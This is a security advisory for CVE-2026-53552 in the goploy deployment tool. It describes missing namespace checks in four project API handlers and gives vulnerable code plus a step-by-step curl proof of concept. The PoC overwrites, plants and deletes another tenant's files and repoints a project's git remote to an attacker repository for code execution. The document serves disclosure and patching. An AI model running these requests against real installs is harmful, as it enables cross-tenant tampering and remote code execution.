CVE-2026-53552

Project.AddFile, Project.EditFile, Project.RemoveFile, and Project.Edit in cmd/server/api/project/handler.go accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller's namespace. The corresponding model.ProjectFile.GetData and model.Project.GetData queries filter only by row id. A user holding the manager role (or any role that includes the FileSync / EditProject permission) in their own namespace can read, write, or delete files in any project across the install, and can rewrite any project's git remote URL by submitting the foreign id in the body. The git-URL primitive escalates to RCE on the next deploy because Edit runs git remote set-url on the project's working tree.

Affected

zhenorzz/goploy develop HEAD as of 2026-05-27. Verified against the zhenorzz/goploy:1.17.5 Docker image (docker.io/zhenorzz/goploy@sha256:69d08e1d16d7a7167426c89456c4bcef8e077a16554a4067ff258fff26d5cd44).

The four handlers and the model lookups have been in this shape across the file API and project metadata API.

Vulnerable code

cmd/server/api/project/handler.go::AddFile (creates file under any project's directory; body controls projectId):

func (Project) AddFile(gp *server.Goploy) server.Response {
    type ReqData struct {
        ProjectID int64  `json:"projectId" validate:"required,gt=0"`
        Content   string `json:"content" validate:"required"`
        Filename  string `json:"filename" validate:"required"`
    }
    var reqData ReqData
    if err := gp.Decode(&reqData); err != nil { ... }

    filePath := path.Join(config.GetProjectFilePath(reqData.ProjectID), reqData.Filename)
    // ... os.Create(filePath); file.WriteString(reqData.Content)
    id, err := model.ProjectFile{ProjectID: reqData.ProjectID, Filename: reqData.Filename}.AddRow()
}

cmd/server/api/project/handler.go::EditFile (overwrites file content; body controls file id, server derives project from the file row):

func (Project) EditFile(gp *server.Goploy) server.Response {
    type ReqData struct {
        ID      int64  `json:"id" validate:"required,gt=0"`
        Content string `json:"content" validate:"required"`
    }
    var reqData ReqData
    if err := gp.Decode(&reqData); err != nil { ... }

    projectFileData, err := model.ProjectFile{ID: reqData.ID}.GetData()
    // ... os.Create(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename))
    file.WriteString(reqData.Content)
}

cmd/server/api/project/handler.go::RemoveFile (deletes file row + on-disk file by body id):

func (Project) RemoveFile(gp *server.Goploy) server.Response {
    type ReqData struct {
        ProjectFileID int64 `json:"projectFileId" validate:"required,gt=0"`
    }
    var reqData ReqData
    if err := gp.Decode(&reqData); err != nil { ... }
    projectFileData, err := model.ProjectFile{ID: reqData.ProjectFileID}.GetData()
    if err := os.Remove(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)); err != nil { ... }
}

cmd/server/api/project/handler.go::Edit (updates any project's metadata; on URL change runs git remote set-url in the project working tree):

func (Project) Edit(gp *server.Goploy) server.Response {
    // ... ReqData has ID, Name, URL, Branch, Script, etc.
    projectData, err := model.Project{ID: reqData.ID}.GetData()
    model.Project{ID: reqData.ID, Name: reqData.Name, URL: reqData.URL, ...}.EditRow()
    if reqData.URL != projectData.URL {
        srcPath := config.GetProjectPath(projectData.ID)
        cmd := exec.Command("git", "remote", "set-url", "origin", reqData.URL)
        cmd.Dir = srcPath
    }
}

internal/model/project_file.go::ProjectFile.GetData filters only by row id, no namespace join:

func (pf ProjectFile) GetData() (ProjectFile, error) {
    err := sq.
        Select("id, project_id, filename, insert_time, update_time").
        From(projectFileTable).
        Where(sq.Eq{"id": pf.ID}).
        ...
}

internal/server/route.go::Route.hasPermission checks only namespace-level permission ids; nothing in the request flow verifies that the body-supplied project id belongs to gp.Namespace.ID:

func (r Route) hasPermission(permissionIDs map[int64]struct{}) error {
    if len(r.permissionIDs) == 0 { return nil }
    for _, permissionID := range r.permissionIDs {
        if _, ok := permissionIDs[permissionID]; ok { return nil }
    }
    return errors.New("no permission")
}

Reachable

Any logged-in user assigned the manager role in their own namespace can call /project/addFile, /project/editFile, /project/removeFile, and /project/edit. The seeded manager role (role.id = 1) is granted both FileSync (permission.id = 68) and EditProject (permission.id = 17) by database/goploy.sql. Multi-tenant deployments typically assign manager to each tenant's project owner; once a tenant's manager holds these permissions in their own namespace, they hold them globally for these four endpoints.

Proof of concept

Setup against the published Docker image:

docker network create goploy-net
docker run -d --name goploy-mysql --network goploy-net \
    -e MYSQL_ROOT_PASSWORD=goploy123 -e MYSQL_DATABASE=goploy \
    mysql:8.0 --default-authentication-plugin=mysql_native_password

# Wait for MySQL, then load schema
docker cp database/goploy.sql goploy-mysql:/tmp/goploy.sql
docker exec goploy-mysql sh -c 'mysql -uroot -pgoploy123 goploy < /tmp/goploy.sql'

# Mount goploy.toml pointing DB at goploy-mysql:3306
docker run -d --name goploy-app --network goploy-net -p 18080:80 \
    -v $PWD/repo:/opt/goploy/repository \
    zhenorzz/goploy:1.17.5

Set up two namespaces and two non-super-manager users, each assigned manager (role_id=1) only in their own namespace:

# Admin login (default account admin / admin!@# requires first-login change)
curl -s -c /tmp/admin.jar -X POST http://localhost:18080/user/login \
    -H 'Content-Type: application/json' \
    -d '{"account":"admin","password":"admin!@#","newPassword":"Admin!@#2026"}'

ADMIN_HDR='-b /tmp/admin.jar -H G-N-ID:1 -H Content-Type:application/json'

# Create NS_B
curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/add -d '{"name":"ns_b"}'
# → {"data":{"id":2}}

# Create alice (id=2) and bob (id=3)
curl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \
    -d '{"account":"alice","password":"Alice!@#2026","name":"Alice","contact":"","superManager":0}'
curl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \
    -d '{"account":"bob","password":"Bob!@#2026","name":"Bob","contact":"","superManager":0}'

# Assign alice → NS_A (id=1), bob → NS_B (id=2), both as manager (role_id=1)
curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \
    -d '{"namespaceId":1,"userIds":[2],"roleId":1}'
curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \
    -d '{"namespaceId":2,"userIds":[3],"roleId":1}'

# As admin in NS_A, create project alice-prod (id=1) with file alice-secrets.yml (id=1)
curl -s $ADMIN_HDR -X POST http://localhost:18080/project/add \
    -d '{"name":"alice-prod","repoType":"git","url":"https://github.com/zhenorzz/goploy.git",
         "path":"/tmp/deploy/alice","environment":1,"branch":"master","transferType":"rsync",
         "transferOption":"-rtv","deployServerMode":"serial",
         "script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""},
                   "deployFinish":{"mode":"","content":""}}}'
curl -s $ADMIN_HDR -X POST http://localhost:18080/project/addFile \
    -d '{"projectId":1,"filename":"alice-secrets.yml","content":"# Alice secret\napi_key: ALICE_API_KEY_2026\n"}'

# Bob logs in (first-login change)
curl -s -c /tmp/bob.jar -X POST http://localhost:18080/user/login \
    -H 'Content-Type: application/json' \
    -d '{"account":"bob","password":"Bob!@#2026","newPassword":"BobBob!@#2026"}'

BOB_HDR='-b /tmp/bob.jar -H G-N-ID:2 -H Content-Type:application/json'

Negative control: Bob's own namespace has no projects.

curl -s $BOB_HDR "http://localhost:18080/project/getList?page=1&rows=100"
# → {"code":0,"data":{"list":[]}}

Exploit 1, Bob overwrites Alice's file content:

curl -s $BOB_HDR -X PUT http://localhost:18080/project/editFile \
    -d '{"id":1,"content":"OWNED BY BOB\nattacker_namespace: ns_b\n"}'
# → {"code":0,"message":"","data":null}

docker exec goploy-app cat /opt/goploy/repository/repository/project-file/project_1/alice-secrets.yml
# OWNED BY BOB
# attacker_namespace: ns_b

Exploit 2, Bob plants a new file in Alice's project directory:

curl -s $BOB_HDR -X POST http://localhost:18080/project/addFile \
    -d '{"projectId":1,"filename":".env.attacker","content":"PWN=bob_from_ns_b"}'
# → {"code":0,"message":"","data":{"id":2}}

docker exec goploy-app ls /opt/goploy/repository/repository/project-file/project_1/
# .env.attacker   alice-secrets.yml

Exploit 3, Bob deletes Alice's file:

curl -s $BOB_HDR -X DELETE http://localhost:18080/project/removeFile \
    -d '{"projectFileId":1}'
# → {"code":0,"message":"","data":null}
# alice-secrets.yml is gone from project_1/.

Exploit 4, Bob rewrites Alice's project git remote URL. On the next deploy, goploy runs git -C <alice-prod-tree> remote set-url origin <attacker-url> and clones / pulls attacker code, leading to RCE under goploy's user:

curl -s $BOB_HDR -X PUT http://localhost:18080/project/edit \
    -d '{"id":1,"name":"alice-prod","repoType":"git",
         "url":"[email protected]:attacker/payload.git",
         "path":"/tmp/deploy/alice","environment":1,"branch":"master",
         "transferType":"rsync","transferOption":"-rtv","deployServerMode":"serial",
         "script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""},
                   "deployFinish":{"mode":"","content":""}}}'
# → {"code":0,"message":"","data":null}

docker exec goploy-mysql mysql -uroot -pgoploy123 goploy \
    -e "SELECT name,url FROM project WHERE id=1;"
# alice-prod | [email protected]:attacker/payload.git

Positive control: Bob editing a file in his own namespace (after creating one) goes through the same code path and succeeds normally, the patch must keep that working.

Patch

Fix proposed in https://github.com/zhenorzz/goploy-ghsa-26rh-24rg-j3vv/pull/1. The PR diff adds the namespace-scoped model variants and switches the four exposed handlers to use them.

Credit

Reported by tonghuaroot.